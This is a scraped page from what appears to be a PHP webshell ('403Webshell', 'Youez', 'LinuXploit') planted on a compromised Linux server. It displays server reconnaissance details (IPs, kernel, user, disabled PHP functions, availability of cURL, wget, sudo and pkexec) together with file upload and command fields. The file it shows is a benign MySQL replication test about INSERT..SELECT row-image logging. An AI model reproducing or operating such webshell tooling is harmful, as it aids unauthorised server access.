403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.189.106
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_row_image_check_for_insert_select.test
# ==== Purpose ====
#
# Verify that INSERT..SELECT query is logged as a row event and honors
# binlog_row_image= FULL when binlog_format=MIXED with transaction isolation
# level set to READ-COMMITTED.
#
# ==== Implementation ====
#
# 1. Initial setup includes setting the transaction isolation level to
#    'READ-COMMITTED' on master and setting binlog_row_image = FULL using
#    rpl_row_img_set.inc.
# 2. Create two tables with same structure and insert a row into a table.
# 3. Verify that INSERT..SELECT query is logged with full image on both master
#    and slave with the use of rpl_row_img_parts_master_slave.inc file.
#
# Note: Please see rpl_row_img_set.inc and rpl_row_img_parts_master_slave.inc
# for more details.
#
# ==== References ====
#
# Bug#29110804: BINLOG_ROW_IMAGE=FULL NOT ALWAYS HONOURED FOR BINROW_FORMAT=MIXED

--source include/have_binlog_format_mixed.inc
--source include/master-slave.inc

# Save the value binlog_row_image
SET @old_binlog_row_image= @@binlog_row_image;
--source include/rpl_connection_slave.inc
SET @old_binlog_row_image= @@binlog_row_image;
--source include/rpl_connection_master.inc

--echo # 1. Initial setup includes setting the transaction isolation level to
--echo #    'READ-COMMITTED' on master and setting binlog_row_image = FULL using
--echo #    rpl_row_img_set.inc.

SET @old_transaction_isolation= @@session.transaction_isolation;
SET SESSION transaction_isolation='READ-COMMITTED';

--echo # Set the binlog_row_image to FULL on both master and slave.
--let $row_img_set=master:FULL:N,slave:FULL:Y
--source include/rpl_row_img_set.inc

--echo #
--echo # 2. Create two tables with same structure and insert a row into a table.
--echo #
CREATE DATABASE a;
CREATE DATABASE b;

CREATE TABLE a.test (id INT PRIMARY KEY, name VARCHAR(50) DEFAULT NULL, age BIGINT)ENGINE=InnoDB;
CREATE TABLE b.test (id INT PRIMARY KEY, name VARCHAR(50) DEFAULT NULL, age BIGINT)ENGINE=InnoDB;

--source include/sync_slave_sql_with_master.inc

--echo #
--echo # 3. Verify that INSERT..SELECT query is logged with full image on both
--echo #    master and slave with the use of rpl_row_img_parts_master_slave.inc
--echo #    file.
--echo #
--source include/rpl_connection_master.inc
--let $row_img_query= INSERT INTO a.test(id, age) VALUES (1,5)
--let $row_img_expected_master= | 1:1 2:NULL 3:5
--let $row_img_expected_slave = | 1:1 2:NULL 3:5
--source include/rpl_row_img_parts_master_slave.inc

--let $row_img_query= INSERT INTO b.test(id,age) SELECT id , age FROM a.test
--let $row_img_expected_master= | 1:1 2:NULL 3:5
--let $row_img_expected_slave = | 1:1 2:NULL 3:5
--source include/rpl_row_img_parts_master_slave.inc

# CLEAN UP
DROP DATABASE a;
DROP DATABASE b;
--source include/sync_slave_sql_with_master.inc

--source include/rpl_connection_master.inc
SET GLOBAL binlog_row_image= @old_binlog_row_image;
SET SESSION binlog_row_image= @old_binlog_row_image;
SET SESSION transaction_isolation= @old_transaction_isolation;

--source include/rpl_connection_slave.inc
SET GLOBAL binlog_row_image= @old_binlog_row_image;
SET SESSION binlog_row_image= @old_binlog_row_image;

--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit